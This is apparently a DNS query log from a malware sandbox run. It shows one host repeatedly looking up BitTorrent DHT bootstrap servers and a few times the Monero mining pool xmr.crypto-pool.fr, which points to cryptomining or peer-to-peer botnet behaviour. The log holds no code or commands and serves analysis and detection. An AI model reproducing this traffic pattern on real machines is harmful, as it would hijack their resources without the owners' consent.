Aug 23, 2023 09:16:59.931137085 CEST	192.168.2.3	8.8.8.8	0xcdb8	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:03.912166119 CEST	192.168.2.3	8.8.8.8	0xa0a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:03.939819098 CEST	192.168.2.3	8.8.8.8	0xf35d	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:03.970302105 CEST	192.168.2.3	8.8.8.8	0x634a	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:03.991919994 CEST	192.168.2.3	8.8.8.8	0xa5f5	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:04.013644934 CEST	192.168.2.3	8.8.8.8	0x8640	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:04.049488068 CEST	192.168.2.3	8.8.8.8	0xebab	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:04.078366041 CEST	192.168.2.3	8.8.8.8	0x620e	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:04.118494034 CEST	192.168.2.3	8.8.8.8	0x1d00	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.368702888 CEST	192.168.2.3	8.8.8.8	0xcc63	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.396694899 CEST	192.168.2.3	8.8.8.8	0x7737	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.424082041 CEST	192.168.2.3	8.8.8.8	0xde25	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.461746931 CEST	192.168.2.3	8.8.8.8	0x31e0	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.482798100 CEST	192.168.2.3	8.8.8.8	0x61e7	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.502203941 CEST	192.168.2.3	8.8.8.8	0xf889	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.527256966 CEST	192.168.2.3	8.8.8.8	0x64c2	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:07.569523096 CEST	192.168.2.3	8.8.8.8	0x9430	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:09.965018988 CEST	192.168.2.3	8.8.8.8	0x51b3	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:09.972337008 CEST	192.168.2.3	8.8.8.8	0xccf4	Standard query (0)	xmr.crypto-pool.fr	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:10.978344917 CEST	192.168.2.3	8.8.8.8	0xccf4	Standard query (0)	xmr.crypto-pool.fr	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:10.978346109 CEST	192.168.2.3	8.8.8.8	0x51b3	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:11.994456053 CEST	192.168.2.3	8.8.8.8	0x51b3	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:11.994616985 CEST	192.168.2.3	8.8.8.8	0xccf4	Standard query (0)	xmr.crypto-pool.fr	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.036349058 CEST	192.168.2.3	8.8.8.8	0xabf7	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.065094948 CEST	192.168.2.3	8.8.8.8	0xf916	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.091850042 CEST	192.168.2.3	8.8.8.8	0x4c0d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.110316992 CEST	192.168.2.3	8.8.8.8	0xeb91	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.136632919 CEST	192.168.2.3	8.8.8.8	0x380b	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.162031889 CEST	192.168.2.3	8.8.8.8	0x7081	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:12.188586950 CEST	192.168.2.3	8.8.8.8	0xcc5e	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:14.560997963 CEST	192.168.2.3	8.8.8.8	0x50d9	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:14.589799881 CEST	192.168.2.3	8.8.8.8	0xed05	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:14.620162964 CEST	192.168.2.3	8.8.8.8	0xb3d6	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:14.642760992 CEST	192.168.2.3	8.8.8.8	0x9a8c	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:14.669342041 CEST	192.168.2.3	8.8.8.8	0x489	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:15.681782007 CEST	192.168.2.3	8.8.8.8	0x489	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.686367035 CEST	192.168.2.3	8.8.8.8	0xaca8	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.713047028 CEST	192.168.2.3	8.8.8.8	0x1444	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.735541105 CEST	192.168.2.3	8.8.8.8	0x1b0b	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.771755934 CEST	192.168.2.3	8.8.8.8	0xdd73	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.797071934 CEST	192.168.2.3	8.8.8.8	0xf40e	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.821832895 CEST	192.168.2.3	8.8.8.8	0x211	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.860806942 CEST	192.168.2.3	8.8.8.8	0x9d63	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.889652967 CEST	192.168.2.3	8.8.8.8	0x9277	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.917571068 CEST	192.168.2.3	8.8.8.8	0xe31e	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.947588921 CEST	192.168.2.3	8.8.8.8	0x364f	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:16.983581066 CEST	192.168.2.3	8.8.8.8	0x2dfc	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:17.813617945 CEST	192.168.2.3	8.8.8.8	0x1dd7	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:17.879542112 CEST	192.168.2.3	8.8.8.8	0x2fbe	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:17.926120043 CEST	192.168.2.3	8.8.8.8	0xb7a5	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:17.954247952 CEST	192.168.2.3	8.8.8.8	0x9a15	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:17.972858906 CEST	192.168.2.3	8.8.8.8	0xa8dd	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:18.015886068 CEST	192.168.2.3	8.8.8.8	0x2171	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:18.046148062 CEST	192.168.2.3	8.8.8.8	0x76e9	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:18.064627886 CEST	192.168.2.3	8.8.8.8	0x5f4	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.532949924 CEST	192.168.2.3	8.8.8.8	0x8858	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.551738977 CEST	192.168.2.3	8.8.8.8	0x7096	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.569936991 CEST	192.168.2.3	8.8.8.8	0x33cc	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.608609915 CEST	192.168.2.3	8.8.8.8	0x57f2	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.640207052 CEST	192.168.2.3	8.8.8.8	0x1405	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.671617031 CEST	192.168.2.3	8.8.8.8	0x6fde	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.709177017 CEST	192.168.2.3	8.8.8.8	0x9e86	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:20.741049051 CEST	192.168.2.3	8.8.8.8	0x4643	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.502079964 CEST	192.168.2.3	8.8.8.8	0xff9c	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.522171974 CEST	192.168.2.3	8.8.8.8	0x71a4	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.546037912 CEST	192.168.2.3	8.8.8.8	0x954f	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.576730013 CEST	192.168.2.3	8.8.8.8	0xc679	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.605274916 CEST	192.168.2.3	8.8.8.8	0xd505	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.633330107 CEST	192.168.2.3	8.8.8.8	0xc875	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.667129993 CEST	192.168.2.3	8.8.8.8	0xd15d	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:21.692830086 CEST	192.168.2.3	8.8.8.8	0x55d5	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.327229977 CEST	192.168.2.3	8.8.8.8	0x43c0	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.348202944 CEST	192.168.2.3	8.8.8.8	0x8b1c	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.380991936 CEST	192.168.2.3	8.8.8.8	0xcc9e	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.411736012 CEST	192.168.2.3	8.8.8.8	0x9740	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.640320063 CEST	192.168.2.3	8.8.8.8	0xdb9e	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.671808004 CEST	192.168.2.3	8.8.8.8	0xfddb	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.692929029 CEST	192.168.2.3	8.8.8.8	0xaac	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:23.720496893 CEST	192.168.2.3	8.8.8.8	0xdb4b	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.297105074 CEST	192.168.2.3	8.8.8.8	0xf6fc	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.326307058 CEST	192.168.2.3	8.8.8.8	0x4822	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.344125032 CEST	192.168.2.3	8.8.8.8	0x7595	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.370621920 CEST	192.168.2.3	8.8.8.8	0xc6a9	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.399519920 CEST	192.168.2.3	8.8.8.8	0xa670	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.433063030 CEST	192.168.2.3	8.8.8.8	0x7b37	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.463427067 CEST	192.168.2.3	8.8.8.8	0xf672	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.490277052 CEST	192.168.2.3	8.8.8.8	0xbd40	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.734729052 CEST	192.168.2.3	8.8.8.8	0x7bec	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.755357027 CEST	192.168.2.3	8.8.8.8	0x7170	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.775892019 CEST	192.168.2.3	8.8.8.8	0x8cfb	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.809227943 CEST	192.168.2.3	8.8.8.8	0x9a77	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.857223034 CEST	192.168.2.3	8.8.8.8	0xfd62	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.890368938 CEST	192.168.2.3	8.8.8.8	0xabad	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.922709942 CEST	192.168.2.3	8.8.8.8	0x42da	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:25.953900099 CEST	192.168.2.3	8.8.8.8	0x3bfd	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:27.936155081 CEST	192.168.2.3	8.8.8.8	0x204c	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:27.963443041 CEST	192.168.2.3	8.8.8.8	0xa436	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:27.993366003 CEST	192.168.2.3	8.8.8.8	0x744e	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.015574932 CEST	192.168.2.3	8.8.8.8	0x5f82	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.051024914 CEST	192.168.2.3	8.8.8.8	0x1f87	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.080941916 CEST	192.168.2.3	8.8.8.8	0xa788	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.102921009 CEST	192.168.2.3	8.8.8.8	0xbae1	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.145703077 CEST	192.168.2.3	8.8.8.8	0x8acd	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.297257900 CEST	192.168.2.3	8.8.8.8	0x2443	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.315221071 CEST	192.168.2.3	8.8.8.8	0x3357	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.334383011 CEST	192.168.2.3	8.8.8.8	0xb5af	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.365577936 CEST	192.168.2.3	8.8.8.8	0xa00f	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.395953894 CEST	192.168.2.3	8.8.8.8	0xc457	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.431907892 CEST	192.168.2.3	8.8.8.8	0x5087	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.456234932 CEST	192.168.2.3	8.8.8.8	0xf679	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:28.476332903 CEST	192.168.2.3	8.8.8.8	0x8296	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.781625986 CEST	192.168.2.3	8.8.8.8	0x6a3e	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.812148094 CEST	192.168.2.3	8.8.8.8	0x284d	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.848181963 CEST	192.168.2.3	8.8.8.8	0xf699	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.887670040 CEST	192.168.2.3	8.8.8.8	0x13b5	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.916205883 CEST	192.168.2.3	8.8.8.8	0xec2c	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.936790943 CEST	192.168.2.3	8.8.8.8	0x1f57	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.963614941 CEST	192.168.2.3	8.8.8.8	0xaa3b	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:29.997591972 CEST	192.168.2.3	8.8.8.8	0x8d4	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.802201033 CEST	192.168.2.3	8.8.8.8	0xd41f	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.834700108 CEST	192.168.2.3	8.8.8.8	0x8989	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.862916946 CEST	192.168.2.3	8.8.8.8	0x709d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.884057999 CEST	192.168.2.3	8.8.8.8	0x8b11	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.914288998 CEST	192.168.2.3	8.8.8.8	0x4632	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.934217930 CEST	192.168.2.3	8.8.8.8	0x5572	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.955302954 CEST	192.168.2.3	8.8.8.8	0x957	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:30.977046967 CEST	192.168.2.3	8.8.8.8	0x1bfe	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.810630083 CEST	192.168.2.3	8.8.8.8	0x86e4	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.845376968 CEST	192.168.2.3	8.8.8.8	0xa7f6	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.869234085 CEST	192.168.2.3	8.8.8.8	0x933b	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.890940905 CEST	192.168.2.3	8.8.8.8	0xdc7e	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.927155972 CEST	192.168.2.3	8.8.8.8	0x9929	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.957381010 CEST	192.168.2.3	8.8.8.8	0xff4	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:31.985136032 CEST	192.168.2.3	8.8.8.8	0x53cd	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:32.010761023 CEST	192.168.2.3	8.8.8.8	0xfae4	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.663369894 CEST	192.168.2.3	8.8.8.8	0x206f	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.692266941 CEST	192.168.2.3	8.8.8.8	0x9895	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.716828108 CEST	192.168.2.3	8.8.8.8	0xc099	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.757643938 CEST	192.168.2.3	8.8.8.8	0x17df	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.791335106 CEST	192.168.2.3	8.8.8.8	0x4a6b	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.818710089 CEST	192.168.2.3	8.8.8.8	0xb34c	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.855751991 CEST	192.168.2.3	8.8.8.8	0x18f3	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:33.881900072 CEST	192.168.2.3	8.8.8.8	0x2c6c	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:37.993767977 CEST	192.168.2.3	8.8.8.8	0x89dc	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.015630960 CEST	192.168.2.3	8.8.8.8	0xa2aa	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.036091089 CEST	192.168.2.3	8.8.8.8	0x6bbf	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.059400082 CEST	192.168.2.3	8.8.8.8	0x889a	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.086865902 CEST	192.168.2.3	8.8.8.8	0xd139	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.121567965 CEST	192.168.2.3	8.8.8.8	0xc46f	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.153038979 CEST	192.168.2.3	8.8.8.8	0xd5a2	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.174391985 CEST	192.168.2.3	8.8.8.8	0xbe0b	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.444088936 CEST	192.168.2.3	8.8.8.8	0xd380	Standard query (0)	xmr.crypto-pool.fr	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.927862883 CEST	192.168.2.3	8.8.8.8	0x84f7	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.946634054 CEST	192.168.2.3	8.8.8.8	0x1ef3	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.965419054 CEST	192.168.2.3	8.8.8.8	0xc1fe	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:38.992542982 CEST	192.168.2.3	8.8.8.8	0xe004	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.011126041 CEST	192.168.2.3	8.8.8.8	0x59a6	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.044857025 CEST	192.168.2.3	8.8.8.8	0xaad2	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.062886953 CEST	192.168.2.3	8.8.8.8	0xeed1	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.090848923 CEST	192.168.2.3	8.8.8.8	0x5e9a	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.831317902 CEST	192.168.2.3	8.8.8.8	0x6fb2	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.850936890 CEST	192.168.2.3	8.8.8.8	0xce05	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.870723963 CEST	192.168.2.3	8.8.8.8	0x4550	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.910319090 CEST	192.168.2.3	8.8.8.8	0x3137	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.947808981 CEST	192.168.2.3	8.8.8.8	0x210d	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:39.975413084 CEST	192.168.2.3	8.8.8.8	0x6009	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:40.007965088 CEST	192.168.2.3	8.8.8.8	0xd9cb	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:40.044013023 CEST	192.168.2.3	8.8.8.8	0x8377	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.435648918 CEST	192.168.2.3	8.8.8.8	0x15ec	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.454638958 CEST	192.168.2.3	8.8.8.8	0xf83a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.481883049 CEST	192.168.2.3	8.8.8.8	0x82a2	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.510416985 CEST	192.168.2.3	8.8.8.8	0x4b54	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.530401945 CEST	192.168.2.3	8.8.8.8	0x17c0	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.569664001 CEST	192.168.2.3	8.8.8.8	0x2a1	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.594330072 CEST	192.168.2.3	8.8.8.8	0xe575	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:42.626714945 CEST	192.168.2.3	8.8.8.8	0x3fcc	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.226152897 CEST	192.168.2.3	8.8.8.8	0xbccc	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.256728888 CEST	192.168.2.3	8.8.8.8	0x8b03	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.281508923 CEST	192.168.2.3	8.8.8.8	0xeb1c	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.331465006 CEST	192.168.2.3	8.8.8.8	0x8d0e	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.356664896 CEST	192.168.2.3	8.8.8.8	0x9ae	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:44.383486032 CEST	192.168.2.3	8.8.8.8	0x73a1	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
